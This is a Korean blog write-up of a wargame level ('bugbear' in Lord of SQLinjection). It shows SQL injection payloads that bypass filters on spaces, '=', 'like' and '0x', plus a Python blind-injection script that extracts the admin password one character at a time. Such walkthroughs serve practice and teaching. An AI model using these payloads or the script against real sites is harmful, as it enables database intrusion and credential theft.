php 코드를 보면 이전 문제들 보다 필터가 많이 걸려있다.
공백, =, like, 0x가 필터에 걸려있기 때문에 이들을 전부 우회했다.
우선 pw를 구하는 방법은 아래와 같다.
?pw=1&no=1||hex(id)%0anot%0ain%0a(6775657374)%26%26length(pw)in(8)
공백은 %0a, like는 in구문을 사용하였고, 0x가 필터에 걸려있기 때문에 in 구문을 통해 guest를 hex로 변환하여 id가 admin인 칼럼만 추출하도록 했다.
pw 길이를 구했으니 이제 blind sqlinjection으로 pw를 추출한다.
import urllib, urllib2 url = "https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?" flag = "" for i in range(1, 9): for j in range(33, 128): payload = "pw=1&no=1||hex(id)%0anot%0ain%0a(6775657374)%26%26hex(mid(pw,{},1))%0ain%0a({})".format(i, hex(j)[2:]) print url+payload req = urllib2.Request(url+payload) req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11') req.add_header('Cookie','__cfduid=; PHPSESSID=') res = urllib2.urlopen(req).read() if "Hello admin" in res: print "[+]Find! : {}".format(chr(j)) flag += chr(j) break print "[+] Flag : {}".format(flag)
'Wargame > lord of sqlinjection' 카테고리의 다른 글
Lord of SQLinjection assassin (0) | 2017.08.04 |
---|---|
Lord of SQLinjection giant (0) | 2017.08.02 |
Lord of SQLinjection darkknight (0) | 2017.07.30 |
Lord of SQLinjection golem (0) | 2017.07.30 |
Lord of SQLinjection skeleton (0) | 2017.07.30 |